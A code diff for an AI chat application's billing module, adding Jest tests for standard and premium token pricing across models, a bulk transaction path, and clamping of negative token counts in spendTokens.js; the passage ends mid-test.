+ input: 200000,
+ write: 10000,
+ read: 5000,
+ },
+ completionTokens: 1000,
+ };
+
+ const totalInput =
+ tokenUsage.promptTokens.input + tokenUsage.promptTokens.write + tokenUsage.promptTokens.read;
+
+ await spendStructuredTokens(txData, tokenUsage);
+
+ const premiumPromptRate = premiumTokenValues[model].prompt;
+ const premiumCompletionRate = premiumTokenValues[model].completion;
+ const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' });
+ const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' });
+
+ const expectedPromptCost =
+ tokenUsage.promptTokens.input * premiumPromptRate +
+ tokenUsage.promptTokens.write * writeMultiplier +
+ tokenUsage.promptTokens.read * readMultiplier;
+ const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate;
+ const expectedTotalCost = expectedPromptCost + expectedCompletionCost;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(totalInput).toBeGreaterThan(premiumTokenValues[model].threshold);
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
+ });
+
+ test('spendStructuredTokens should apply standard pricing when total input tokens are below threshold', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-opus-4-6';
+ const txData = {
+ user: userId,
+ conversationId: 'test-structured-standard',
+ model,
+ context: 'message',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ const tokenUsage = {
+ promptTokens: {
+ input: 50000,
+ write: 10000,
+ read: 5000,
+ },
+ completionTokens: 1000,
+ };
+
+ const totalInput =
+ tokenUsage.promptTokens.input + tokenUsage.promptTokens.write + tokenUsage.promptTokens.read;
+
+ await spendStructuredTokens(txData, tokenUsage);
+
+ const standardPromptRate = tokenValues[model].prompt;
+ const standardCompletionRate = tokenValues[model].completion;
+ const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' });
+ const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' });
+
+ const expectedPromptCost =
+ tokenUsage.promptTokens.input * standardPromptRate +
+ tokenUsage.promptTokens.write * writeMultiplier +
+ tokenUsage.promptTokens.read * readMultiplier;
+ const expectedCompletionCost = tokenUsage.completionTokens * standardCompletionRate;
+ const expectedTotalCost = expectedPromptCost + expectedCompletionCost;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(totalInput).toBeLessThanOrEqual(premiumTokenValues[model].threshold);
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
+ });
+
+ test('spendTokens should apply standard pricing for gemini-3.1-pro-preview below threshold', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'gemini-3.1-pro-preview';
+ const promptTokens = 100000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-below',
+ model,
+ context: 'test',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const standardPromptRate = tokenValues['gemini-3.1'].prompt;
+ const standardCompletionRate = tokenValues['gemini-3.1'].completion;
+ const expectedCost =
+ promptTokens * standardPromptRate + completionTokens * standardCompletionRate;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ test('spendTokens should apply premium pricing for gemini-3.1-pro-preview above threshold', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'gemini-3.1-pro-preview';
+ const promptTokens = 250000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-above',
+ model,
+ context: 'test',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt;
+ const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion;
+ const expectedCost =
+ promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ test('spendTokens should apply standard pricing for gemini-3.1-pro-preview at exactly the threshold', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'gemini-3.1-pro-preview';
+ const promptTokens = premiumTokenValues['gemini-3.1'].threshold;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-exact',
+ model,
+ context: 'test',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const standardPromptRate = tokenValues['gemini-3.1'].prompt;
+ const standardCompletionRate = tokenValues['gemini-3.1'].completion;
+ const expectedCost =
+ promptTokens * standardPromptRate + completionTokens * standardCompletionRate;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ test('spendStructuredTokens should apply premium pricing for gemini-3.1 when total input exceeds threshold', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'gemini-3.1-pro-preview';
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-structured-premium',
+ model,
+ context: 'message',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ const tokenUsage = {
+ promptTokens: {
+ input: 200000,
+ write: 10000,
+ read: 5000,
+ },
+ completionTokens: 1000,
+ };
+
+ const totalInput =
+ tokenUsage.promptTokens.input + tokenUsage.promptTokens.write + tokenUsage.promptTokens.read;
+
+ await spendStructuredTokens(txData, tokenUsage);
+
+ const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt;
+ const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion;
+ const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' });
+ const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' });
+
+ const expectedPromptCost =
+ tokenUsage.promptTokens.input * premiumPromptRate +
+ tokenUsage.promptTokens.write * writeMultiplier +
+ tokenUsage.promptTokens.read * readMultiplier;
+ const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate;
+ const expectedTotalCost = expectedPromptCost + expectedCompletionCost;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(totalInput).toBeGreaterThan(premiumTokenValues['gemini-3.1'].threshold);
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
+ });
+
+ test('non-premium models should not be affected by inputTokenCount regardless of prompt size', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-opus-4-5';
+ const promptTokens = 300000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-no-premium',
+ model,
+ context: 'test',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const standardPromptRate = getMultiplier({ model, tokenType: 'prompt' });
+ const standardCompletionRate = getMultiplier({ model, tokenType: 'completion' });
+ const expectedCost =
+ promptTokens * standardPromptRate + completionTokens * standardCompletionRate;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+});
+
+describe('Bulk path parity', () => {
+ /**
+ * Each test here mirrors an existing legacy test above, replacing spendTokens/
+ * spendStructuredTokens with recordCollectedUsage + bulk deps.
+ * The balance deduction and transaction document fields must be numerically identical.
+ */
+ let bulkDeps;
+ let methods;
+
+ beforeEach(() => {
+ methods = createMethods(mongoose);
+ bulkDeps = {
+ spendTokens: () => Promise.resolve(),
+ spendStructuredTokens: () => Promise.resolve(),
+ pricing: { getMultiplier, getCacheMultiplier },
+ bulkWriteOps: {
+ insertMany: methods.bulkInsertTransactions,
+ updateBalance: methods.updateBalance,
+ },
+ };
+ });
+
+ test('balance should decrease when spending tokens via bulk path', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 10000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'gpt-3.5-turbo';
+ const promptTokens = 100;
+ const completionTokens = 50;
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-conversation-id',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }],
+ });
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ const promptMultiplier = getMultiplier({
+ model,
+ tokenType: 'prompt',
+ inputTokenCount: promptTokens,
+ });
+ const completionMultiplier = getMultiplier({
+ model,
+ tokenType: 'completion',
+ inputTokenCount: promptTokens,
+ });
+ const expectedTotalCost =
+ promptTokens * promptMultiplier + completionTokens * completionMultiplier;
+ const expectedBalance = initialBalance - expectedTotalCost;
+
+ expect(updatedBalance.tokenCredits).toBeCloseTo(expectedBalance, 0);
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(2);
+ });
+
+ test('bulk path should not update balance when balance.enabled is false', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 10000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'gpt-3.5-turbo';
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-conversation-id',
+ model,
+ context: 'test',
+ balance: { enabled: false },
+ transactions: { enabled: true },
+ collectedUsage: [{ input_tokens: 100, output_tokens: 50, model }],
+ });
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBe(initialBalance);
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(2); // transactions still recorded
+ });
+
+ test('bulk path should not insert when transactions.enabled is false', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 10000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-conversation-id',
+ model: 'gpt-3.5-turbo',
+ context: 'test',
+ balance: { enabled: true },
+ transactions: { enabled: false },
+ collectedUsage: [{ input_tokens: 100, output_tokens: 50, model: 'gpt-3.5-turbo' }],
+ });
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(0);
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBe(initialBalance);
+ });
+
+ test('bulk path handles incomplete context for completion tokens — same CANCEL_RATE as legacy', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 17613154.55;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-3-5-sonnet';
+ const promptTokens = 10;
+ const completionTokens = 50;
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-convo',
+ model,
+ context: 'incomplete',
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }],
+ });
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ const completionTx = txns.find((t) => t.tokenType === 'completion');
+ const completionMultiplier = getMultiplier({
+ model,
+ tokenType: 'completion',
+ inputTokenCount: promptTokens,
+ });
+ expect(completionTx.tokenValue).toBeCloseTo(-completionTokens * completionMultiplier * 1.15, 0);
+ });
+
+ test('bulk path structured tokens — balance deduction matches legacy spendStructuredTokens', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 17613154.55;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-3-5-sonnet';
+ const promptInput = 11;
+ const promptWrite = 140522;
+ const promptRead = 0;
+ const completionTokens = 5;
+ const totalInput = promptInput + promptWrite + promptRead;
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-convo',
+ model,
+ context: 'message',
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ collectedUsage: [
+ {
+ input_tokens: promptInput,
+ output_tokens: completionTokens,
+ model,
+ input_token_details: { cache_creation: promptWrite, cache_read: promptRead },
+ },
+ ],
+ });
+
+ const promptMultiplier = getMultiplier({
+ model,
+ tokenType: 'prompt',
+ inputTokenCount: totalInput,
+ });
+ const completionMultiplier = getMultiplier({
+ model,
+ tokenType: 'completion',
+ inputTokenCount: totalInput,
+ });
+ const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }) ?? promptMultiplier;
+ const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }) ?? promptMultiplier;
+
+ const expectedPromptCost =
+ promptInput * promptMultiplier + promptWrite * writeMultiplier + promptRead * readMultiplier;
+ const expectedCompletionCost = completionTokens * completionMultiplier;
+ const expectedTotalCost = expectedPromptCost + expectedCompletionCost;
+ const expectedBalance = initialBalance - expectedTotalCost;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(Math.abs(updatedBalance.tokenCredits - expectedBalance)).toBeLessThan(100);
+ });
+
+ test('premium pricing above threshold via bulk path — same balance as legacy', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-opus-4-6';
+ const promptTokens = 250000;
+ const completionTokens = 500;
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-premium',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }],
+ });
+
+ const premiumPromptRate = premiumTokenValues[model].prompt;
+ const premiumCompletionRate = premiumTokenValues[model].completion;
+ const expectedCost =
+ promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ test('real-world multi-entry batch: 5 sequential tool calls — same total deduction as 5 legacy spendTokens calls', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-opus-4-5-20251101';
+ const calls = [
+ { input_tokens: 31596, output_tokens: 151 },
+ { input_tokens: 35368, output_tokens: 150 },
+ { input_tokens: 58362, output_tokens: 295 },
+ { input_tokens: 112604, output_tokens: 193 },
+ { input_tokens: 257440, output_tokens: 2217 },
+ ];
+
+ let expectedTotalCost = 0;
+ for (const { input_tokens, output_tokens } of calls) {
+ const pm = getMultiplier({ model, tokenType: 'prompt', inputTokenCount: input_tokens });
+ const cm = getMultiplier({ model, tokenType: 'completion', inputTokenCount: input_tokens });
+ expectedTotalCost += input_tokens * pm + output_tokens * cm;
+ }
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-sequential',
+ model,
+ context: 'message',
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ collectedUsage: calls.map((c) => ({ ...c, model })),
+ });
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(10); // 5 calls × 2 docs (prompt + completion)
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
+ });
+
+ test('bulk path should save transaction but not update balance when balance disabled, transactions enabled', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 10000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-conversation-id',
+ model: 'gpt-3.5-turbo',
+ context: 'test',
+ balance: { enabled: false },
+ transactions: { enabled: true },
+ collectedUsage: [{ input_tokens: 100, output_tokens: 50, model: 'gpt-3.5-turbo' }],
+ });
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(2);
+ expect(txns[0].rawAmount).toBeDefined();
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBe(initialBalance);
+ });
+
+ test('bulk path structured tokens should not save when transactions.enabled is false', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 10000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-conversation-id',
+ model: 'claude-3-5-sonnet',
+ context: 'message',
+ balance: { enabled: true },
+ transactions: { enabled: false },
+ collectedUsage: [
+ {
+ input_tokens: 10,
+ output_tokens: 5,
+ model: 'claude-3-5-sonnet',
+ input_token_details: { cache_creation: 100, cache_read: 5 },
+ },
+ ],
+ });
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(0);
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBe(initialBalance);
+ });
+
+ test('bulk path structured tokens should save but not update balance when balance disabled', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 10000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-conversation-id',
+ model: 'claude-3-5-sonnet',
+ context: 'message',
+ balance: { enabled: false },
+ transactions: { enabled: true },
+ collectedUsage: [
+ {
+ input_tokens: 10,
+ output_tokens: 5,
+ model: 'claude-3-5-sonnet',
+ input_token_details: { cache_creation: 100, cache_read: 5 },
+ },
+ ],
+ });
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(2);
+ const promptTx = txns.find((t) => t.tokenType === 'prompt');
+ expect(promptTx.inputTokens).toBe(-10);
+ expect(promptTx.writeTokens).toBe(-100);
+ expect(promptTx.readTokens).toBe(-5);
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBe(initialBalance);
+ });
+});
diff --git a/api/models/spendTokens.js b/api/models/spendTokens.js
index cfd983f6bb..afe05969d8 100644
--- a/api/models/spendTokens.js
+++ b/api/models/spendTokens.js
@@ -24,12 +24,14 @@ const spendTokens = async (txData, tokenUsage) => {
},
);
let prompt, completion;
+ const normalizedPromptTokens = Math.max(promptTokens ?? 0, 0);
try {
if (promptTokens !== undefined) {
prompt = await createTransaction({
...txData,
tokenType: 'prompt',
- rawAmount: promptTokens === 0 ? 0 : -Math.max(promptTokens, 0),
+ rawAmount: promptTokens === 0 ? 0 : -normalizedPromptTokens,
+ inputTokenCount: normalizedPromptTokens,
});
}
@@ -38,6 +40,7 @@ const spendTokens = async (txData, tokenUsage) => {
...txData,
tokenType: 'completion',
rawAmount: completionTokens === 0 ? 0 : -Math.max(completionTokens, 0),
+ inputTokenCount: normalizedPromptTokens,
});
}
@@ -87,21 +90,31 @@ const spendStructuredTokens = async (txData, tokenUsage) => {
let prompt, completion;
try {
if (promptTokens) {
- const { input = 0, write = 0, read = 0 } = promptTokens;
+ const input = Math.max(promptTokens.input ?? 0, 0);
+ const write = Math.max(promptTokens.write ?? 0, 0);
+ const read = Math.max(promptTokens.read ?? 0, 0);
+ const totalInputTokens = input + write + read;
prompt = await createStructuredTransaction({
...txData,
tokenType: 'prompt',
inputTokens: -input,
writeTokens: -write,
readTokens: -read,
+ inputTokenCount: totalInputTokens,
});
}
if (completionTokens) {
+ const totalInputTokens = promptTokens
+ ? Math.max(promptTokens.input ?? 0, 0) +
+ Math.max(promptTokens.write ?? 0, 0) +
+ Math.max(promptTokens.read ?? 0, 0)
+ : undefined;
completion = await createTransaction({
...txData,
tokenType: 'completion',
- rawAmount: -completionTokens,
+ rawAmount: -Math.max(completionTokens, 0),
+ inputTokenCount: totalInputTokens,
});
}
diff --git a/api/models/spendTokens.spec.js b/api/models/spendTokens.spec.js
index eee6572736..dfeec5ee83 100644
--- a/api/models/spendTokens.spec.js
+++ b/api/models/spendTokens.spec.js
@@ -1,7 +1,8 @@
const mongoose = require('mongoose');
const { MongoMemoryServer } = require('mongodb-memory-server');
-const { spendTokens, spendStructuredTokens } = require('./spendTokens');
const { createTransaction, createAutoRefillTransaction } = require('./Transaction');
+const { tokenValues, premiumTokenValues, getCacheMultiplier } = require('./tx');
+const { spendTokens, spendStructuredTokens } = require('./spendTokens');
require('~/db/models');
@@ -734,4 +735,457 @@ describe('spendTokens', () => {
expect(balance).toBeDefined();
expect(balance.tokenCredits).toBeLessThan(10000); // Balance should be reduced
});
+
+ describe('premium token pricing', () => {
+ it('should charge standard rates for claude-opus-4-6 when prompt tokens are below threshold', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'claude-opus-4-6';
+ const promptTokens = 100000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-standard-pricing',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const expectedCost =
+ promptTokens * tokenValues[model].prompt + completionTokens * tokenValues[model].completion;
+
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ it('should charge premium rates for claude-opus-4-6 when prompt tokens exceed threshold', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'claude-opus-4-6';
+ const promptTokens = 250000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-premium-pricing',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const expectedCost =
+ promptTokens * premiumTokenValues[model].prompt +
+ completionTokens * premiumTokenValues[model].completion;
+
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ it('should charge premium rates for both prompt and completion in structured tokens when above threshold', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'claude-opus-4-6';
+ const txData = {
+ user: userId,
+ conversationId: 'test-structured-premium',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ const tokenUsage = {
+ promptTokens: {
+ input: 200000,
+ write: 10000,
+ read: 5000,
+ },
+ completionTokens: 1000,
+ };
+
+ const result = await spendStructuredTokens(txData, tokenUsage);
+
+ const premiumPromptRate = premiumTokenValues[model].prompt;
+ const premiumCompletionRate = premiumTokenValues[model].completion;
+ const writeRate = getCacheMultiplier({ model, cacheType: 'write' });
+ const readRate = getCacheMultiplier({ model, cacheType: 'read' });
+
+ const expectedPromptCost =
+ tokenUsage.promptTokens.input * premiumPromptRate +
+ tokenUsage.promptTokens.write * writeRate +
+ tokenUsage.promptTokens.read * readRate;
+ const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate;
+
+ expect(result.prompt.prompt).toBeCloseTo(-expectedPromptCost, 0);
+ expect(result.completion.completion).toBeCloseTo(-expectedCompletionCost, 0);
+ });
+
+ it('should charge standard rates for structured tokens when below threshold', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'claude-opus-4-6';
+ const txData = {
+ user: userId,
+ conversationId: 'test-structured-standard',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ const tokenUsage = {
+ promptTokens: {
+ input: 50000,
+ write: 10000,
+ read: 5000,
+ },
+ completionTokens: 1000,
+ };
+
+ const result = await spendStructuredTokens(txData, tokenUsage);
+
+ const standardPromptRate = tokenValues[model].prompt;
+ const standardCompletionRate = tokenValues[model].completion;
+ const writeRate = getCacheMultiplier({ model, cacheType: 'write' });
+ const readRate = getCacheMultiplier({ model, cacheType: 'read' });
+
+ const expectedPromptCost =
+ tokenUsage.promptTokens.input * standardPromptRate +
+ tokenUsage.promptTokens.write * writeRate +
+ tokenUsage.promptTokens.read * readRate;
+ const expectedCompletionCost = tokenUsage.completionTokens * standardCompletionRate;
+
+ expect(result.prompt.prompt).toBeCloseTo(-expectedPromptCost, 0);
+ expect(result.completion.completion).toBeCloseTo(-expectedCompletionCost, 0);
+ });
+
+ it('should charge standard rates for gemini-3.1-pro-preview when prompt tokens are below threshold', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'gemini-3.1-pro-preview';
+ const promptTokens = 100000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-standard-pricing',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const expectedCost =
+ promptTokens * tokenValues['gemini-3.1'].prompt +
+ completionTokens * tokenValues['gemini-3.1'].completion;
+
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ it('should charge premium rates for gemini-3.1-pro-preview when prompt tokens exceed threshold', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'gemini-3.1-pro-preview';
+ const promptTokens = 250000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-premium-pricing',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const expectedCost =
+ promptTokens * premiumTokenValues['gemini-3.1'].prompt +
+ completionTokens * premiumTokenValues['gemini-3.1'].completion;
+
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ it('should charge premium rates for gemini-3.1-pro-preview-customtools when prompt tokens exceed threshold', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'gemini-3.1-pro-preview-customtools';
+ const promptTokens = 250000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-customtools-premium',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const expectedCost =
+ promptTokens * premiumTokenValues['gemini-3.1'].prompt +
+ completionTokens * premiumTokenValues['gemini-3.1'].completion;
+
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ it('should charge premium rates for structured gemini-3.1 tokens when total input exceeds threshold', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'gemini-3.1-pro-preview';
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-structured-premium',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ const tokenUsage = {
+ promptTokens: {
+ input: 200000,
+ write: 10000,
+ read: 5000,
+ },
+ completionTokens: 1000,
+ };
+
+ const result = await spendStructuredTokens(txData, tokenUsage);
+
+ const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt;
+ const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion;
+ const writeRate = getCacheMultiplier({ model, cacheType: 'write' });
+ const readRate = getCacheMultiplier({ model, cacheType: 'read' });
+
+ const expectedPromptCost =
+ tokenUsage.promptTokens.input * premiumPromptRate +
+ tokenUsage.promptTokens.write * writeRate +
+ tokenUsage.promptTokens.read * readRate;
+ const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate;
+
+ expect(result.prompt.prompt).toBeCloseTo(-expectedPromptCost, 0);
+ expect(result.completion.completion).toBeCloseTo(-expectedCompletionCost, 0);
+ });
+
+ it('should not apply premium pricing to non-premium models regardless of prompt size', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'claude-opus-4-5';
+ const promptTokens = 300000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-no-premium',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const expectedCost =
+ promptTokens * tokenValues[model].prompt + completionTokens * tokenValues[model].completion;
+
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+ });
+
+ describe('inputTokenCount Normalization', () => {
+ it('should normalize negative promptTokens to zero for inputTokenCount', async () => {
+ await Balance.create({
+ user: userId,
+ tokenCredits: 100000000,
+ });
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-negative-prompt',
+ model: 'claude-opus-4-6',
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens: -500, completionTokens: 100 });
+
+ const transactions = await Transaction.find({ user: userId }).sort({ tokenType: 1 });
+
+ const completionTx = transactions.find((t) => t.tokenType === 'completion');
+ const promptTx = transactions.find((t) => t.tokenType === 'prompt');
+
